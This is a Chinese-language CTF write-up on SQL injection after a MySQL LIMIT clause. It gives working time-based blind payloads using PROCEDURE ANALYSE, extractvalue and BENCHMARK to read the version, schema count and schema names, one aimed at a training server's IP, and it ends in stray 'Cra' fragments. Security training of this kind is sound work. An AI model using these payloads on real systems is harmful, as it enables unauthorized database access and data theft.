HDUISA WEB CTF集训 LIMIT注入WriteUp
就两个页面,分别是index.php
和news.php
。
通过测试news.php?id=1 and 1=1
之类的PAYLOAD发现,这个id极有可能进行了intval之类的转换,故此处没有注入点。
继续测试index.php?l=3,这个是控制每页显示几条新闻的,结果发现加上单引号后直接500,这里应该是有注入点的。进一步测试发现UNION
被过滤,猜测SQL语句应该为:
SELECT * FROM [TABLE] WHERE 1 LIMIT 0, $l;
这样一来,注入点就在LIMIT后面了,可是LIMIT后面基本上啥都不能接,我们看一下MySQL官方对SELECT的说明:
SELECT
[ALL | DISTINCT | DISTINCTROW ]
[HIGH_PRIORITY]
[STRAIGHT_JOIN]
[SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
[SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
select_expr [, select_expr ...]
[FROM table_references
[WHERE where_condition]
[GROUP BY col_name
[ASC | DESC], ... [WITH ROLLUP]]
[HAVING where_condition]
[ORDER BY col_name
[ASC | DESC], ...]
[LIMIT [offset,] row_count ]
[PROCEDURE procedure_name(argument_list)]
[INTO OUTFILE 'file_name' export_options
| INTO DUMPFILE 'file_name'
| INTO var_name [, var_name]]
[FOR UPDATE | LOCK IN SHARE MODE]]
可以看到可以接在LIMIT后面的子句只有PROCEDURE
、INTO OUTFILE
可以利用。但是这里明显不能用INTO OUTFILE
(肯定不可写,而且也不知道物理路径),那就只能用PROCEDURE来了。关于PROCEDURE请参考这里http://dev.mysql.com/doc/refman/4.1/en/procedure-analyse.html
根据MySQL的官方手册,发现可以这样:
SELECT * FROM TABLE WHERE 1 LIMIT 0, 1 PROCEDURE ANALYSE(1,1)
也就是说ANALYSE可以有两个参数,接下来就尝试在这里注入,参考:http://lightless.me/archives/111.html
这个题是没有错误回显的,so只能基于时间盲注了,真是个浩大的工程啊!
先来测试?l=1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)
发现返回500,但是延时了,什么鬼,把LIKE 5
换成LIKE 4
,发现没有延时,还真的可以注啊。于是继续构造PAYLOAD,先来爆数据库的个数:
?l=1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1);
通过这个PAYLOAD可以很快确定是5个数据库。然后接下来爆数据库的名字。
http://104.236.171.163/week2/limit/?l=1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(ORD(MID((SELECT DISTINCT(IFNULL(CAST(schema_name AS CHAR),0x20)) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1),1,1)) > 97, BENCHMARK(5000000,SHA1(1)),1))))),1);
这个PAYLOAD里面0,1
的部分是指第0个数据库,1,1
是指第一位字符,所以这条PAYLOAD是猜测第0个数据库的第一个字符,通过二分法可以很快的确定第一个字符是i
,大胆猜测这个是information那个数据库,继续测试后面的数据库。当然也可以用database()
函数获取当前使用的数据库,这样直接去爆表名就行了,省去了爆破数据库的过程。
接下来就可以根据这个思路写脚本来盲注数据的内容了,经过漫长的写脚本,注入,写脚本,注入过程之后,最终找到FLAG在flag表中。
Cra
Cra
Cra